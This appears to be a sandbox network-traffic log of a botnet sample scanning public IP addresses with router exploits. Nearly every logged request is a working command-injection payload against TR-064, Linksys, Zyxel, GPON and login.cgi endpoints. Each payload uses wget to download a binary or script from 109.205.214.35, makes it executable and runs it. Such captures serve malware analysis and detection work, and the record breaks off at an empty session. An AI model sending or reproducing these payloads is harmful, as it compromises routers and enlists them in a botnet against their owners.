Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.399491072 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.13	45280	78.185.167.64	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.423506021 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:30.651942015 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:22:30 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.13	58398	179.53.167.255	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.501780033 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:30.663294077 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.13	48508	31.136.205.225	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.555103064 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:31.117728949 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:32.237299919 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:34.669470072 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:39.279313087 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:48.236254930 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:06.156665087 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:43.024239063 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.13	35198	47.40.96.241	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.602832079 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.13	35420	172.65.214.236	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.667723894 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.13	50008	212.93.101.67	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.049572945 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:31.661360979 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:32.908505917 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:35.441473961 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:40.563312054 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:50.540302038 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:10.257527113 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:51.212244034 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.13	54690	178.33.160.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.113622904 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:47.472245932 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:08.208246946 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:47.120234966 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.13	41888	47.199.183.65	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.280510902 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.13	52116	64.246.156.193	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.194274902 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:32.318049908 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:22:33 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.13	42658	5.21.115.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.549175978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.13	53060	118.46.207.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.549205065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.13	40094	118.242.74.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.549206018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.13	60082	109.167.139.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.549227953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.13	48314	5.224.244.58	443

Timestamp	Bytes transferred	Direction	Data
